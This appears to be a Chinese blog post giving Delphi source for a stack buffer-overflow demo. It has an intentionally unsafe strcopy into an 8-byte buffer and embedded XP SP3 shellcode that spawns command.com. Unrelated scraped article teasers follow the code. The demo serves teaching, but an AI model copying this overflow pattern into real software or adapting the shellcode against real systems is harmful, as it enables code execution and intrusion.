[源码]Dephi溢出demo( Shellcode for XP)
[源码]Dephi溢出demo( Shellcode for XP)
unit Unit1; interface uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls; type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Button3: TButton;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end; var
Form1: TForm1;
const
ShellCodeSize = $00000079; //16进制 - 121
//delphi overflow demo by k8team
ShellCode : Array[0..ShellCodeSize-1] of byte =
(
//AAAA BBBB CCCC
$41,$41,$41,$41,$42,$42,$42,$42,$43,$43,$43,$43, //115 73 $12,$45,$fa,$7f, // xp sp3 跳转地址 //CMD ShellCode
$55,$8B,$EC,$33,$C0,$50,$50,$50, //105 69
$C6,$45,$F4,$4D,$C6,$45,$F5,$53,
$C6,$45,$F6,$56,$C6,$45,$F7,$43,
$C6,$45,$F8,$52,$C6,$45,$F9,$54,
$C6,$45,$FA,$2E,$C6,$45,$FB,$44,
$C6,$45,$FC,$4C,$C6,$45,$FD,$4C,
$8D,$45,$F4,$50,$BA,$7B,$1D,$80,
$7C,$FF,$D2,$55,$8B,$EC,$83,$EC,
$2C,$B8,$63,$6F,$6D,$6D,$89,$45,
$F4,$B8,$61,$6E,$64,$2E,$89,$45,
$F8,$B8,$63,$6F,$6D,$22,$89,$45,
$FC,$33,$D2,$88,$55,$FF,$8D,$45,
$F4,$50,$B8,$C7,$93,$BF,$77,$FF,
$D0
); implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject);
var k8test:pchar;
procedure k8overflow(k8test:pchar);
var test :array[0..7] of char;
begin
k8test:=pchar(edit1.text);
strcopy(test,k8test); //溢出
end;
begin k8test:=pchar(edit1.text);
k8overflow(k8test); application.MessageBox('没有溢出!','test'); end; procedure TForm1.Button2Click(Sender: TObject);
begin
application.MessageBox('溢出了!','test');
end; procedure TForm1.Button3Click(Sender: TObject);
var k8test:pchar;
procedure k8overflow(k8test:pchar);
var test :array[0..7] of char;
begin k8test:=@ShellCode; strcopy(test,k8test); //溢出 end;
begin k8test:=pchar(edit1.text);
k8overflow(k8test);
application.MessageBox('没有溢出!','test'); end; end.
[源码]Dephi溢出demo( Shellcode for XP)的更多相关文章
- 看源码和写demo是一种比较容易提升的方式
github就是要这么用才行.看别人的源码,就能了解到很多规范,而写demo,就是自己写出自己的代码.莫欺少年穷
- 基于wke封装的duilib的webkit浏览器控件,可以c++与js互交,源码及demo下载地址
转载请说明原出处,谢谢~~ 前些日子用wke内核封装了duilib的webkit浏览器控件,好多群里朋友私聊我希望可以我公布源码,今天把这个控件的源码和使用demo公布.其实这个控件封装起来没什么难度 ...
- [c#]asp.net开发微信公众平台(7)前6篇的整体框架demo源码
这里给出的demo是具备整体框架的微信公众平台源码, 所谓demo就是拿过去就可以直接演示使用的东西, 当然不会具备非常详细的具体到业务层面.数据层面的东西, 每个人都可以在此基础上自由发挥, 只 ...
- Spring源码学习:第1步--在Spring源码中添加最简单的Demo代码
为了最大程度地贴近Spring源码并进行学习,一种比较直接的做法是:直接在Spring源码中加入Demo代码,并进行调试. 参照以前使用Spring的经验,Spring最简单的使用方法是:一个实体类. ...
- [转]Asp.Net大型项目实践(11)-基于MVC Action粒度的权限管理【续】【源码在这里】(在线demo,全部源码)
本文转自:http://www.cnblogs.com/legendxian/archive/2010/01/25/1655551.html 接上篇Asp.Net大型项目实践(10)-基于MVC Ac ...
- Entity Framework在Asp.net MVC中的实现One Context Per Request(附源码)
上篇中"Entity Framework中的Identity map和Unit of Work模式", 由于EF中的Identity map和Unit of Work模式,EF体现 ...
- [AYUI]QQ管家源码已经开源
(0-50元 黑色字体 享受AY 1周的 ayui 技术问答) (50-100元 绿色字体 享受AY 15天的 ayui 技术问答) (100-150元 蓝色字体 享受AY 20天的 ayui ...
- 语音分享应用ios源码
该源码是语音分享应用源码,本demo使用了科大讯飞语音识别作为分享内容的输入方式,同时也支持手动键盘输入分享内容,限制分享内容文字不能超过180个字符,分享内容输入完成后可以直接分享,分享SDK使用的 ...
- C#源码大汇总
C#高仿QQ2013可在广域网部署聊天系统GG叽叽 动态显示硬盘分区容量饼图 自定义ProgressBar控件高仿Win8进度条 多皮肤精美在线QQ悬浮客服插件 jQuery仿天猫首页多格焦点图片轮播 ...
随机推荐
- matplotlib 坑
1 archlinux里安装好matplotlib之后一定要安装python-cario pacman -S python-cairo
- linux环境启动数据库
1.查看数据库监听的状态: 监听状态:lsnrctl status 出现如下列截图所示数据,说明切切换账户有问题:切换账户时要家:-: 如 su - oracle 第一步:打开Oracle监听$ ...
- Power designer 的使用
1.Powere Designer 逆向 工程 首先 逆向工程 就是将数据库表 导入到模型, 首先新建个模型, 此处就省略 ... 工具栏,数据库(database) 下的 update model ...
- time模块的使用
https://www.cnblogs.com/jimmy-share/p/10605575.html import time 一.方法汇总: time.sleep():定时函数 time.time( ...
- 解决安装xcode后git使用报错的问题
一.现象: htmlxdeMacBook-Pro:demo htmlx$ git status Agreeing to the Xcode/iOS license requires admin pri ...
- Centos Firefox中文乱码
解决CentOS Firefox 中文乱码问题,执行以下命令 Centos 6 # yum -y groupinstall chinese-support 重启电脑即可. Centos 7 yum - ...
- tween 缓动动画
在讲tween类之前,不得不提的是贝塞尔曲线了.首先,贝塞尔曲线是指依据四个位置任意的点坐标绘制出的一条光滑曲线.它在作图工具或动画中中运用得比较多,例如PS中的钢笔工具,firework中的画笔等等 ...
- 16. pt-mysql-summary
pt-mysql-summary --host=192.168.100.101 --port=3306 --user=admin --password=admin \ pt-mysql-summary ...
- 哪些人才适合转行学习UI设计?
最近有很多学员问,怎么才知道自己适不适合学习UI设计,在从事IT教育行业多年以来,也确实碰到好多人咨询这个问题,今天就和大家说下,哪些人才适合转行学习UI设计?(转行必看) 1 平面设计师.网页设计师 ...
- rapidjson 的练习
// JsonCpp.cpp: 定义控制台应用程序的入口点. // #include "stdafx.h" #include <string> #include < ...